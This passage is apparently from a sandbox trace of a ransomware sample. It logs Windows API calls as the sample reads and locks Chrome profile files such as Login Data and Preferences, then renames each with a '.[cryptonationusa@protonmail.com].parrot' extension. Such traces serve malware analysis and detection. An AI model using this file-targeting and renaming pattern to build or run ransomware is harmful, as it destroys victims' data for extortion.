ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0075.362] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba59faa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="LOG_CR~1.PAR")) returned 1 [0075.362] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0075.362] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0075.362] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.362] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba65e180, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba65e180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 1 [0075.362] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba65e180, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba65e180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 0 [0075.362] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0075.600] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.600] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x90191d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.600] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.600] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.600] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90191d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9048b8f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", cAlternateFileName="CHROME~1.LOC")) returned 1 [0075.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2240b88 [0075.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0075.601] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3118, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.601] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.601] ReadFile (in: hFile=0x270, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0075.603] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.603] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x3000, lpOverlapped=0x0) returned 1 [0075.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.604] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.605] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.605] CloseHandle (hObject=0x270) returned 1 [0075.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x3176070 [0075.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d00d0 [0075.605] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.608] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0075.608] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba8bf780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba8bf780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.608] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90191d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x904b1a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal", cAlternateFileName="CHROME~2.LOC")) returned 1 [0075.608] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90191d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba8bf780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3128, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CHROME~1.PAR")) returned 1 [0075.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d37b8 [0075.609] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4918, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.609] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.609] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.611] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.611] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x4800, lpOverlapped=0x0) returned 1 [0075.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.612] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.613] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4918, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.613] CloseHandle (hObject=0x278) returned 1 [0075.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d2b80 [0075.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x68b260 [0075.613] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.616] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d18, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.616] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.616] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.618] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.618] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x3c00, lpOverlapped=0x0) returned 1 [0075.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.619] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.619] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.619] CloseHandle (hObject=0x278) returned 1 [0075.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d85d8 [0075.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x3176070 [0075.620] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.622] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x140, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.622] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.622] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.623] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.623] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x28, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x28, lpOverlapped=0x0) returned 1 [0075.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.624] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.624] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.624] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.624] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x140, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.624] CloseHandle (hObject=0x278) returned 1 [0075.624] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d85d8 [0075.624] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x3176070 [0075.624] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.627] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1518, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.627] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.627] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.731] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.731] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x1400, lpOverlapped=0x0) returned 1 [0075.732] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.732] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.732] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.732] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.732] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1518, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.732] CloseHandle (hObject=0x278) returned 1 [0075.733] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5cb2e0 [0075.733] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x69a930 [0075.733] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.736] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bb5, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.736] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.736] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.738] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.738] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1a9d, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x1a9d, lpOverlapped=0x0) returned 1 [0075.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.739] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.740] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bb5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.740] CloseHandle (hObject=0x278) returned 1 [0075.740] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d2b80 [0075.740] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x68b260 [0075.740] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\preferences"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\preferences.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.742] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4118, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.742] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.743] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.744] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.744] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x4000, lpOverlapped=0x0) returned 1 [0075.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.745] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.746] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.746] CloseHandle (hObject=0x278) returned 1 [0075.746] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5cb2e0 [0075.746] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x69a930 [0075.746] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.749] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d18, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.749] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.749] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.750] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.750] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x3c00, lpOverlapped=0x0) returned 1 [0075.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.751] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.751] UnlockFile 